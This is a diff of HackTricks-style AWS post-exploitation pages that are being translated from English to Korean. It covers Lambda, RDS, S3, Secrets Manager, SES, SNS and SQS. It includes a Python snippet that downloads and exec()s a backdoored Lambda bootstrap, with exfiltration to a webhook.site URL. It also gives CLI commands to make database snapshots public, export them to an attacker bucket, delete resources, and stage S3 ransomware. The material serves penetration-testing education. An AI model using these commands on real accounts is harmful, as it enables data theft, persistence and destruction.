- 이 공격을 위해, 시스템에서 **`bootstrap.py`**의 원본 코드를 가져오거나 [**github**](https://github.com/aws/aws-lambda-python-runtime-interface-client/blob/main/awslambdaric/bootstrap.py)에서 가져와 악성 코드를 추가하고 현재 lambda 호출에서 실행하면 충분합니다.
|
||||
|
||||
### Attack Steps
|
||||
### 공격 단계
|
||||
|
||||
1. Find a **RCE** vulnerability.
|
||||
2. Generate a **malicious** **bootstrap** (e.g. [https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py](https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py))
|
||||
3. **Execute** the malicious bootstrap.
|
||||
|
||||
You can easily perform these actions running:
|
||||
1. **RCE** 취약점 찾기.
|
||||
2. **악성** **bootstrap** 생성 (예: [https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py](https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py))
|
||||
3. **악성 bootstrap 실행**.
|
||||
|
||||
이러한 작업을 쉽게 수행할 수 있습니다:
|
||||
```bash
|
||||
python3 <<EOF
|
||||
import os
|
||||
@@ -53,15 +52,10 @@ os.environ['URL_EXFIL'] = "https://webhook.site/c7036f43-ce42-442f-99a6-8ab21402
|
||||
exec(new_runtime)
|
||||
EOF
|
||||
```
|
||||
|
||||
For more info check [https://github.com/carlospolop/lambda_bootstrap_switcher](https://github.com/carlospolop/lambda_bootstrap_switcher)
|
||||
더 많은 정보는 [https://github.com/carlospolop/lambda_bootstrap_switcher](https://github.com/carlospolop/lambda_bootstrap_switcher)에서 확인하세요.
|
||||
|
||||
## References
|
||||
|
||||
- [https://unit42.paloaltonetworks.com/gaining-persistency-vulnerable-lambdas/](https://unit42.paloaltonetworks.com/gaining-persistency-vulnerable-lambdas/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,31 +4,27 @@
|
||||
|
||||
## Lightsail
|
||||
|
||||
For more information, check:
|
||||
자세한 정보는 다음을 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-lightsail-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Restore old DB snapshots
|
||||
### 이전 DB 스냅샷 복원
|
||||
|
||||
If the DB is having snapshots, you might be able to **find sensitive information currently deleted in old snapshots**. **Restore** the snapshot in a **new database** and check it.
|
||||
DB에 스냅샷이 있는 경우, **이전 스냅샷에서 현재 삭제된 민감한 정보를 찾을 수 있습니다**. **스냅샷을 새로운 데이터베이스에 복원**하고 확인하세요.
|
||||
|
||||
### Restore Instance Snapshots
|
||||
### 인스턴스 스냅샷 복원
|
||||
|
||||
Instance snapshots might contain **sensitive information** of already deleted instances or sensitive info that is deleted in the current instance. **Create new instances from the snapshots** and check them.\
|
||||
Or **export the snapshot to an AMI in EC2** and follow the steps of a typical EC2 instance.
|
||||
인스턴스 스냅샷에는 이미 삭제된 인스턴스의 **민감한 정보** 또는 현재 인스턴스에서 삭제된 민감한 정보가 포함될 수 있습니다. **스냅샷에서 새로운 인스턴스를 생성**하고 확인하세요.\
|
||||
또는 **스냅샷을 EC2의 AMI로 내보내고** 일반 EC2 인스턴스의 단계를 따르세요.
|
||||
|
||||
### Access Sensitive Information
|
||||
### 민감한 정보 접근
|
||||
|
||||
Check out the Lightsail privesc options to learn different ways to access potential sensitive information:
|
||||
Lightsail privesc 옵션을 확인하여 잠재적인 민감한 정보에 접근하는 다양한 방법을 알아보세요:
|
||||
|
||||
{{#ref}}
|
||||
../aws-privilege-escalation/aws-lightsail-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,20 +4,14 @@
|
||||
|
||||
## Organizations
|
||||
|
||||
For more info about AWS Organizations check:
|
||||
AWS Organizations에 대한 자세한 정보는 다음을 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-organizations-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Leave the Org
|
||||
|
||||
```bash
|
||||
aws organizations deregister-account --account-id <account_id> --region <region>
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## RDS
|
||||
|
||||
For more information check:
|
||||
자세한 정보는 다음을 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-relational-database-rds-enum.md
|
||||
@@ -12,40 +12,37 @@ For more information check:
|
||||
|
||||
### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance`
|
||||
|
||||
If the attacker has enough permissions, he could make a **DB publicly accessible** by creating a snapshot of the DB, and then a publicly accessible DB from the snapshot.
|
||||
|
||||
공격자가 충분한 권한을 가지고 있다면, 그는 DB의 스냅샷을 생성하고, 그 스냅샷에서 공개적으로 접근 가능한 DB를 생성함으로써 **DB를 공개적으로 접근 가능하게** 만들 수 있습니다.
|
||||
```bash
|
||||
aws rds describe-db-instances # Get DB identifier
|
||||
|
||||
aws rds create-db-snapshot \
|
||||
--db-instance-identifier <db-id> \
|
||||
--db-snapshot-identifier cloudgoat
|
||||
--db-instance-identifier <db-id> \
|
||||
--db-snapshot-identifier cloudgoat
|
||||
|
||||
# Get subnet groups & security groups
|
||||
aws rds describe-db-subnet-groups
|
||||
aws ec2 describe-security-groups
|
||||
|
||||
aws rds restore-db-instance-from-db-snapshot \
|
||||
--db-instance-identifier "new-db-not-malicious" \
|
||||
--db-snapshot-identifier <scapshotId> \
|
||||
--db-subnet-group-name <db subnet group> \
|
||||
--publicly-accessible \
|
||||
--vpc-security-group-ids <ec2-security group>
|
||||
--db-instance-identifier "new-db-not-malicious" \
|
||||
--db-snapshot-identifier <scapshotId> \
|
||||
--db-subnet-group-name <db subnet group> \
|
||||
--publicly-accessible \
|
||||
--vpc-security-group-ids <ec2-security group>
|
||||
|
||||
aws rds modify-db-instance \
|
||||
--db-instance-identifier "new-db-not-malicious" \
|
||||
--master-user-password 'Llaody2f6.123' \
|
||||
--apply-immediately
|
||||
--db-instance-identifier "new-db-not-malicious" \
|
||||
--master-user-password 'Llaody2f6.123' \
|
||||
--apply-immediately
|
||||
|
||||
# Connect to the new DB after a few mins
|
||||
```
|
||||
|
||||
### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot`
|
||||
|
||||
An attacker with these permissions could **create an snapshot of a DB** and make it **publicly** **available**. Then, he could just create in his own account a DB from that snapshot.
|
||||
|
||||
If the attacker **doesn't have the `rds:CreateDBSnapshot`**, he still could make **other** created snapshots **public**.
|
||||
이 권한을 가진 공격자는 **DB의 스냅샷을 생성**하고 이를 **공개적으로** **이용 가능**하게 만들 수 있습니다. 그런 다음, 그는 자신의 계정에서 그 스냅샷으로 DB를 생성할 수 있습니다.
|
||||
|
||||
공격자가 **`rds:CreateDBSnapshot`** 권한이 없다면, 여전히 **다른** 생성된 스냅샷을 **공개**로 만들 수 있습니다.
|
||||
```bash
|
||||
# create snapshot
|
||||
aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>
|
||||
@@ -54,43 +51,32 @@ aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --d
|
||||
aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all
|
||||
## Specify account IDs instead of "all" to give access only to a specific account: --values-to-add {"111122223333","444455556666"}
|
||||
```
|
||||
|
||||
### `rds:DownloadDBLogFilePortion`
|
||||
|
||||
An attacker with the `rds:DownloadDBLogFilePortion` permission can **download portions of an RDS instance's log files**. If sensitive data or access credentials are accidentally logged, the attacker could potentially use this information to escalate their privileges or perform unauthorized actions.
|
||||
|
||||
`rds:DownloadDBLogFilePortion` 권한을 가진 공격자는 **RDS 인스턴스의 로그 파일의 일부를 다운로드**할 수 있습니다. 민감한 데이터나 접근 자격 증명이 우연히 기록된 경우, 공격자는 이 정보를 사용하여 권한을 상승시키거나 무단 작업을 수행할 수 있습니다.
|
||||
```bash
|
||||
aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text
|
||||
```
|
||||
|
||||
**Potential Impact**: Access to sensitive information or unauthorized actions using leaked credentials.
|
||||
**잠재적 영향**: 유출된 자격 증명을 사용하여 민감한 정보에 접근하거나 무단 작업을 수행할 수 있습니다.
|
||||
|
||||
### `rds:DeleteDBInstance`
|
||||
|
||||
An attacker with these permissions can **DoS existing RDS instances**.
|
||||
|
||||
이 권한을 가진 공격자는 **기존 RDS 인스턴스를 DoS할 수 있습니다**.
|
||||
```bash
|
||||
# Delete
|
||||
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot
|
||||
```
|
||||
|
||||
**Potential impact**: Deletion of existing RDS instances, and potential loss of data.
|
||||
**잠재적 영향**: 기존 RDS 인스턴스 삭제 및 데이터 손실 가능성.
|
||||
|
||||
### `rds:StartExportTask`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Test
|
||||
|
||||
An attacker with this permission can **export an RDS instance snapshot to an S3 bucket**. If the attacker has control over the destination S3 bucket, they can potentially access sensitive data within the exported snapshot.
|
||||
> TODO: 테스트
|
||||
|
||||
이 권한을 가진 공격자는 **RDS 인스턴스 스냅샷을 S3 버킷으로 내보낼 수 있습니다**. 공격자가 대상 S3 버킷을 제어할 경우, 내보낸 스냅샷 내의 민감한 데이터에 접근할 수 있습니다.
|
||||
```bash
|
||||
aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id
|
||||
```
|
||||
|
||||
**Potential impact**: Access to sensitive data in the exported snapshot.
|
||||
**잠재적 영향**: 내보낸 스냅샷의 민감한 데이터에 대한 접근.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,39 +4,35 @@
|
||||
|
||||
## S3
|
||||
|
||||
For more information check:
|
||||
자세한 정보는 다음을 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-s3-athena-and-glacier-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Sensitive Information
|
||||
### 민감한 정보
|
||||
|
||||
Sometimes you will be able to find sensitive information in readable in the buckets. For example, terraform state secrets.
|
||||
때때로 버킷에서 읽을 수 있는 민감한 정보를 찾을 수 있습니다. 예를 들어, terraform 상태 비밀입니다.
|
||||
|
||||
### Pivoting
|
||||
### 피벗팅
|
||||
|
||||
Different platforms could be using S3 to store sensitive assets.\
|
||||
For example, **airflow** could be storing **DAGs** **code** in there, or **web pages** could be directly served from S3. An attacker with write permissions could **modify the code** from the bucket to **pivot** to other platforms, or **takeover accounts** modifying JS files.
|
||||
다양한 플랫폼이 민감한 자산을 저장하기 위해 S3를 사용할 수 있습니다.\
|
||||
예를 들어, **airflow**는 **DAGs** **코드**를 거기에 저장할 수 있으며, **웹 페이지**는 S3에서 직접 제공될 수 있습니다. 쓰기 권한이 있는 공격자는 버킷의 **코드를 수정하여** 다른 플랫폼으로 **피벗**하거나 JS 파일을 수정하여 **계정을 인수**할 수 있습니다.
|
||||
|
||||
### S3 Ransomware
|
||||
### S3 랜섬웨어
|
||||
|
||||
In this scenario, the **attacker creates a KMS (Key Management Service) key in their own AWS account** or another compromised account. They then make this **key accessible to anyone in the world**, allowing any AWS user, role, or account to encrypt objects using this key. However, the objects cannot be decrypted.
|
||||
이 시나리오에서 **공격자는 자신의 AWS 계정** 또는 다른 손상된 계정에서 KMS(키 관리 서비스) 키를 생성합니다. 그런 다음 이 **키를 전 세계 누구나 접근할 수 있도록** 하여 모든 AWS 사용자, 역할 또는 계정이 이 키를 사용하여 객체를 암호화할 수 있도록 합니다. 그러나 객체는 복호화할 수 없습니다.
|
||||
|
||||
The attacker identifies a target **S3 bucket and gains write-level access** to it using various methods. This could be due to poor bucket configuration that exposes it publicly or the attacker gaining access to the AWS environment itself. The attacker typically targets buckets that contain sensitive information such as personally identifiable information (PII), protected health information (PHI), logs, backups, and more.
|
||||
공격자는 **대상 S3 버킷을 식별하고** 다양한 방법을 사용하여 쓰기 수준의 접근 권한을 얻습니다. 이는 공개적으로 노출된 잘못된 버킷 구성 때문일 수 있거나 공격자가 AWS 환경 자체에 접근할 수 있기 때문입니다. 공격자는 일반적으로 개인 식별 정보(PII), 보호된 건강 정보(PHI), 로그, 백업 등과 같은 민감한 정보를 포함하는 버킷을 목표로 합니다.
|
||||
|
||||
To determine if the bucket can be targeted for ransomware, the attacker checks its configuration. This includes verifying if **S3 Object Versioning** is enabled and if **multi-factor authentication delete (MFA delete) is enabled**. If Object Versioning is not enabled, the attacker can proceed. If Object Versioning is enabled but MFA delete is disabled, the attacker can **disable Object Versioning**. If both Object Versioning and MFA delete are enabled, it becomes more difficult for the attacker to ransomware that specific bucket.
|
||||
버킷이 랜섬웨어 공격의 대상이 될 수 있는지 확인하기 위해 공격자는 그 구성을 확인합니다. 여기에는 **S3 객체 버전 관리**가 활성화되어 있는지와 **다단계 인증 삭제(MFA 삭제)가 활성화되어 있는지** 확인하는 것이 포함됩니다. 객체 버전 관리가 활성화되어 있지 않으면 공격자는 진행할 수 있습니다. 객체 버전 관리가 활성화되어 있지만 MFA 삭제가 비활성화되어 있으면 공격자는 **객체 버전 관리를 비활성화**할 수 있습니다. 객체 버전 관리와 MFA 삭제가 모두 활성화되어 있으면 공격자가 특정 버킷을 랜섬웨어로 공격하기가 더 어려워집니다.
|
||||
|
||||
Using the AWS API, the attacker **replaces each object in the bucket with an encrypted copy using their KMS key**. This effectively encrypts the data in the bucket, making it inaccessible without the key.
|
||||
AWS API를 사용하여 공격자는 **자신의 KMS 키를 사용하여 버킷의 각 객체를 암호화된 복사본으로 교체**합니다. 이는 버킷의 데이터를 효과적으로 암호화하여 키 없이는 접근할 수 없게 만듭니다.
|
||||
|
||||
To add further pressure, the attacker schedules the deletion of the KMS key used in the attack. This gives the target a 7-day window to recover their data before the key is deleted and the data becomes permanently lost.
|
||||
추가 압박을 가하기 위해 공격자는 공격에 사용된 KMS 키의 삭제를 예약합니다. 이는 대상에게 키가 삭제되기 전에 데이터를 복구할 수 있는 7일의 시간을 제공합니다.
|
||||
|
||||
Finally, the attacker could upload a final file, usually named "ransom-note.txt," which contains instructions for the target on how to retrieve their files. This file is uploaded without encryption, likely to catch the target's attention and make them aware of the ransomware attack.
|
||||
마지막으로, 공격자는 일반적으로 "ransom-note.txt"라는 이름의 최종 파일을 업로드할 수 있으며, 이 파일에는 대상이 파일을 복구하는 방법에 대한 지침이 포함되어 있습니다. 이 파일은 암호화 없이 업로드되어 대상의 주목을 끌고 랜섬웨어 공격을 인식하게 만들 가능성이 높습니다.
|
||||
|
||||
**For more info** [**check the original research**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
|
||||
**자세한 정보는** [**원본 연구를 확인하세요**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Secrets Manager
|
||||
|
||||
For more information check:
|
||||
자세한 정보는 다음을 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-secrets-manager-enum.md
|
||||
@@ -12,42 +12,32 @@ For more information check:
|
||||
|
||||
### Read Secrets
|
||||
|
||||
The **secrets themself are sensitive information**, [check the privesc page](../aws-privilege-escalation/aws-secrets-manager-privesc.md) to learn how to read them.
|
||||
**비밀 자체는 민감한 정보입니다**, [권한 상승 페이지를 확인하세요](../aws-privilege-escalation/aws-secrets-manager-privesc.md) 비밀을 읽는 방법을 배우기 위해.
|
||||
|
||||
### DoS Change Secret Value
|
||||
|
||||
Changing the value of the secret you could **DoS all the system that depends on that value.**
|
||||
비밀의 값을 변경하면 **해당 값에 의존하는 모든 시스템에 DoS를 발생시킬 수 있습니다.**
|
||||
|
||||
> [!WARNING]
|
||||
> Note that previous values are also stored, so it's easy to just go back to the previous value.
|
||||
|
||||
> 이전 값도 저장되므로, 이전 값으로 쉽게 돌아갈 수 있습니다.
|
||||
```bash
|
||||
# Requires permission secretsmanager:PutSecretValue
|
||||
aws secretsmanager put-secret-value \
|
||||
--secret-id MyTestSecret \
|
||||
--secret-string "{\"user\":\"diegor\",\"password\":\"EXAMPLE-PASSWORD\"}"
|
||||
--secret-id MyTestSecret \
|
||||
--secret-string "{\"user\":\"diegor\",\"password\":\"EXAMPLE-PASSWORD\"}"
|
||||
```
|
||||
|
||||
### DoS Change KMS key
|
||||
|
||||
### DoS KMS 키 변경
|
||||
```bash
|
||||
aws secretsmanager update-secret \
|
||||
--secret-id MyTestSecret \
|
||||
--kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE
|
||||
--secret-id MyTestSecret \
|
||||
--kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE
|
||||
```
|
||||
### DoS 비밀 삭제
|
||||
|
||||
### DoS Deleting Secret
|
||||
|
||||
The minimum number of days to delete a secret are 7
|
||||
|
||||
비밀을 삭제하는 최소 일수는 7일입니다.
|
||||
```bash
|
||||
aws secretsmanager delete-secret \
|
||||
--secret-id MyTestSecret \
|
||||
--recovery-window-in-days 7
|
||||
--secret-id MyTestSecret \
|
||||
--recovery-window-in-days 7
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## SES
|
||||
|
||||
For more information check:
|
||||
자세한 정보는 다음을 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ses-enum.md
|
||||
@@ -12,76 +12,58 @@ For more information check:
|
||||
|
||||
### `ses:SendEmail`
|
||||
|
||||
Send an email.
|
||||
|
||||
이메일을 보냅니다.
|
||||
```bash
|
||||
aws ses send-email --from sender@example.com --destination file://emails.json --message file://message.json
|
||||
aws sesv2 send-email --from sender@example.com --destination file://emails.json --message file://message.json
|
||||
```
|
||||
|
||||
Still to test.
|
||||
아직 테스트할 것.
|
||||
|
||||
### `ses:SendRawEmail`
|
||||
|
||||
Send an email.
|
||||
|
||||
이메일을 보내다.
|
||||
```bash
|
||||
aws ses send-raw-email --raw-message file://message.json
|
||||
```
|
||||
|
||||
Still to test.
|
||||
아직 테스트할 것.
|
||||
|
||||
### `ses:SendTemplatedEmail`
|
||||
|
||||
Send an email based on a template.
|
||||
|
||||
템플릿을 기반으로 이메일을 전송합니다.
|
||||
```bash
|
||||
aws ses send-templated-email --source <value> --destination <value> --template <value>
|
||||
```
|
||||
|
||||
Still to test.
|
||||
아직 테스트할 것.
|
||||
|
||||
### `ses:SendBulkTemplatedEmail`
|
||||
|
||||
Send an email to multiple destinations
|
||||
|
||||
여러 목적지에 이메일을 전송합니다.
|
||||
```bash
|
||||
aws ses send-bulk-templated-email --source <value> --template <value>
|
||||
```
|
||||
|
||||
Still to test.
|
||||
아직 테스트할 것.
|
||||
|
||||
### `ses:SendBulkEmail`
|
||||
|
||||
Send an email to multiple destinations.
|
||||
|
||||
여러 목적지에 이메일을 보냅니다.
|
||||
```
|
||||
aws sesv2 send-bulk-email --default-content <value> --bulk-email-entries <value>
|
||||
```
|
||||
|
||||
### `ses:SendBounce`
|
||||
|
||||
Send a **bounce email** over a received email (indicating that the email couldn't be received). This can only be done **up to 24h after receiving** the email.
|
||||
|
||||
받은 이메일에 대해 **반송 이메일**을 보냅니다(이메일을 받을 수 없음을 나타냄). 이는 **이메일을 받은 후 24시간 이내에만** 수행할 수 있습니다.
|
||||
```bash
|
||||
aws ses send-bounce --original-message-id <value> --bounce-sender <value> --bounced-recipient-info-list <value>
|
||||
```
|
||||
|
||||
Still to test.
|
||||
아직 테스트해야 함.
|
||||
|
||||
### `ses:SendCustomVerificationEmail`
|
||||
|
||||
This will send a customized verification email. You might need permissions also to created the template email.
|
||||
|
||||
이것은 사용자 정의 확인 이메일을 보냅니다. 템플릿 이메일을 생성하기 위한 권한도 필요할 수 있습니다.
|
||||
```bash
|
||||
aws ses send-custom-verification-email --email-address <value> --template-name <value>
|
||||
aws sesv2 send-custom-verification-email --email-address <value> --template-name <value>
|
||||
```
|
||||
|
||||
Still to test.
|
||||
아직 테스트할 것.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,81 +4,65 @@
|
||||
|
||||
## SNS
|
||||
|
||||
For more information:
|
||||
자세한 정보:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-sns-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Disrupt Messages
|
||||
### 메시지 방해
|
||||
|
||||
In several cases, SNS topics are used to send messages to platforms that are being monitored (emails, slack messages...). If an attacker prevents sending the messages that alert about it presence in the cloud, he could remain undetected.
|
||||
여러 경우에 SNS 주제는 모니터링되는 플랫폼(이메일, 슬랙 메시지 등)으로 메시지를 전송하는 데 사용됩니다. 공격자가 클라우드에서 자신의 존재를 알리는 메시지 전송을 방지하면, 그는 탐지되지 않을 수 있습니다.
|
||||
|
||||
### `sns:DeleteTopic`
|
||||
|
||||
An attacker could delete an entire SNS topic, causing message loss and impacting applications relying on the topic.
|
||||
|
||||
공격자는 전체 SNS 주제를 삭제하여 메시지 손실을 초래하고 주제에 의존하는 애플리케이션에 영향을 줄 수 있습니다.
|
||||
```bash
|
||||
aws sns delete-topic --topic-arn <value>
|
||||
```
|
||||
|
||||
**Potential Impact**: Message loss and service disruption for applications using the deleted topic.
|
||||
**잠재적 영향**: 삭제된 주제를 사용하는 애플리케이션에 대한 메시지 손실 및 서비스 중단.
|
||||
|
||||
### `sns:Publish`
|
||||
|
||||
An attacker could send malicious or unwanted messages to the SNS topic, potentially causing data corruption, triggering unintended actions, or exhausting resources.
|
||||
|
||||
공격자는 SNS 주제에 악성 또는 원치 않는 메시지를 보낼 수 있으며, 이는 데이터 손상, 의도하지 않은 작업의 트리거 또는 리소스 소모를 초래할 수 있습니다.
|
||||
```bash
|
||||
aws sns publish --topic-arn <value> --message <value>
|
||||
```
|
||||
|
||||
**Potential Impact**: Data corruption, unintended actions, or resource exhaustion.
|
||||
**잠재적 영향**: 데이터 손상, 의도하지 않은 행동 또는 리소스 고갈.
|
||||
|
||||
### `sns:SetTopicAttributes`
|
||||
|
||||
An attacker could modify the attributes of an SNS topic, potentially affecting its performance, security, or availability.
|
||||
|
||||
공격자는 SNS 주제의 속성을 수정할 수 있으며, 이는 성능, 보안 또는 가용성에 영향을 미칠 수 있습니다.
|
||||
```bash
|
||||
aws sns set-topic-attributes --topic-arn <value> --attribute-name <value> --attribute-value <value>
|
||||
```
|
||||
|
||||
**Potential Impact**: Misconfigurations leading to degraded performance, security issues, or reduced availability.
|
||||
**잠재적 영향**: 잘못된 구성으로 인해 성능 저하, 보안 문제 또는 가용성 감소가 발생할 수 있습니다.
|
||||
|
||||
### `sns:Subscribe` , `sns:Unsubscribe`
|
||||
|
||||
An attacker could subscribe or unsubscribe to an SNS topic, potentially gaining unauthorized access to messages or disrupting the normal functioning of applications relying on the topic.
|
||||
|
||||
공격자는 SNS 주제에 구독하거나 구독 해지할 수 있으며, 이로 인해 메시지에 대한 무단 접근을 얻거나 해당 주제에 의존하는 애플리케이션의 정상적인 기능을 방해할 수 있습니다.
|
||||
```bash
|
||||
aws sns subscribe --topic-arn <value> --protocol <value> --endpoint <value>
|
||||
aws sns unsubscribe --subscription-arn <value>
|
||||
```
|
||||
|
||||
**Potential Impact**: Unauthorized access to messages, service disruption for applications relying on the affected topic.
|
||||
**잠재적 영향**: 메시지에 대한 무단 접근, 영향을 받는 주제에 의존하는 애플리케이션의 서비스 중단.
|
||||
|
||||
### `sns:AddPermission` , `sns:RemovePermission`
|
||||
|
||||
An attacker could grant unauthorized users or services access to an SNS topic, or revoke permissions for legitimate users, causing disruptions in the normal functioning of applications that rely on the topic.
|
||||
|
||||
공격자는 무단 사용자 또는 서비스에 SNS 주제에 대한 접근 권한을 부여하거나, 정당한 사용자에 대한 권한을 철회하여 주제에 의존하는 애플리케이션의 정상적인 기능에 중단을 초래할 수 있습니다.
|
||||
```css
|
||||
aws sns add-permission --topic-arn <value> --label <value> --aws-account-id <value> --action-name <value>
|
||||
aws sns remove-permission --topic-arn <value> --label <value>
|
||||
```
|
||||
|
||||
**Potential Impact**: Unauthorized access to the topic, message exposure, or topic manipulation by unauthorized users or services, disruption of normal functioning for applications relying on the topic.
|
||||
**잠재적 영향**: 주제에 대한 무단 접근, 메시지 노출 또는 무단 사용자 또는 서비스에 의한 주제 조작, 주제에 의존하는 애플리케이션의 정상적인 기능 중단.
|
||||
|
||||
### `sns:TagResource` , `sns:UntagResource`
|
||||
|
||||
An attacker could add, modify, or remove tags from SNS resources, disrupting your organization's cost allocation, resource tracking, and access control policies based on tags.
|
||||
|
||||
공격자는 SNS 리소스에서 태그를 추가, 수정 또는 제거할 수 있으며, 이는 귀하의 조직의 비용 할당, 리소스 추적 및 태그 기반 접근 제어 정책을 방해할 수 있습니다.
|
||||
```bash
|
||||
aws sns tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
|
||||
aws sns untag-resource --resource-arn <value> --tag-keys <key>
|
||||
```
|
||||
|
||||
**Potential Impact**: Disruption of cost allocation, resource tracking, and tag-based access control policies.
|
||||
**잠재적 영향**: 비용 할당, 리소스 추적 및 태그 기반 액세스 제어 정책의 중단.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,91 +1,73 @@
|
||||
# AWS - SQS Post Exploitation
|
||||
# AWS - SQS 포스트 익스플로이테이션
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SQS
|
||||
|
||||
For more information check:
|
||||
자세한 정보는 다음을 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-sqs-and-sns-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `sqs:SendMessage` , `sqs:SendMessageBatch`
|
||||
|
||||
An attacker could send malicious or unwanted messages to the SQS queue, potentially causing data corruption, triggering unintended actions, or exhausting resources.
|
||||
### `sqs:SendMessage`, `sqs:SendMessageBatch`
|
||||
|
||||
공격자는 SQS 큐에 악성 또는 원치 않는 메시지를 보낼 수 있으며, 이는 데이터 손상, 의도하지 않은 작업을 유발하거나 리소스를 소모할 수 있습니다.
|
||||
```bash
|
||||
aws sqs send-message --queue-url <value> --message-body <value>
|
||||
aws sqs send-message-batch --queue-url <value> --entries <value>
|
||||
```
|
||||
|
||||
**Potential Impact**: Vulnerability exploitation, Data corruption, unintended actions, or resource exhaustion.
|
||||
**잠재적 영향**: 취약점 악용, 데이터 손상, 의도하지 않은 행동 또는 자원 고갈.
|
||||
|
||||
### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility`
|
||||
|
||||
An attacker could receive, delete, or modify the visibility of messages in an SQS queue, causing message loss, data corruption, or service disruption for applications relying on those messages.
|
||||
|
||||
공격자는 SQS 큐에서 메시지를 수신, 삭제 또는 가시성을 수정할 수 있으며, 이로 인해 메시지 손실, 데이터 손상 또는 해당 메시지에 의존하는 애플리케이션의 서비스 중단이 발생할 수 있습니다.
|
||||
```bash
|
||||
aws sqs receive-message --queue-url <value>
|
||||
aws sqs delete-message --queue-url <value> --receipt-handle <value>
|
||||
aws sqs change-message-visibility --queue-url <value> --receipt-handle <value> --visibility-timeout <value>
|
||||
```
|
||||
|
||||
**Potential Impact**: Steal sensitive information, Message loss, data corruption, and service disruption for applications relying on the affected messages.
|
||||
**잠재적 영향**: 민감한 정보 도용, 메시지 손실, 데이터 손상, 및 영향을 받는 메시지에 의존하는 애플리케이션의 서비스 중단.
|
||||
|
||||
### `sqs:DeleteQueue`
|
||||
|
||||
An attacker could delete an entire SQS queue, causing message loss and impacting applications relying on the queue.
|
||||
|
||||
공격자는 전체 SQS 큐를 삭제할 수 있으며, 이로 인해 메시지 손실이 발생하고 큐에 의존하는 애플리케이션에 영향을 미칠 수 있습니다.
|
||||
```arduino
|
||||
Copy codeaws sqs delete-queue --queue-url <value>
|
||||
```
|
||||
|
||||
**Potential Impact**: Message loss and service disruption for applications using the deleted queue.
|
||||
**잠재적 영향**: 삭제된 큐를 사용하는 애플리케이션에 대한 메시지 손실 및 서비스 중단.
|
||||
|
||||
### `sqs:PurgeQueue`
|
||||
|
||||
An attacker could purge all messages from an SQS queue, leading to message loss and potential disruption of applications relying on those messages.
|
||||
|
||||
공격자는 SQS 큐에서 모든 메시지를 삭제할 수 있으며, 이로 인해 메시지 손실 및 해당 메시지에 의존하는 애플리케이션의 잠재적 중단이 발생할 수 있습니다.
|
||||
```arduino
|
||||
Copy codeaws sqs purge-queue --queue-url <value>
|
||||
```
|
||||
|
||||
**Potential Impact**: Message loss and service disruption for applications relying on the purged messages.
|
||||
**잠재적 영향**: 삭제된 메시지에 의존하는 애플리케이션의 메시지 손실 및 서비스 중단.
|
||||
|
||||
### `sqs:SetQueueAttributes`
|
||||
|
||||
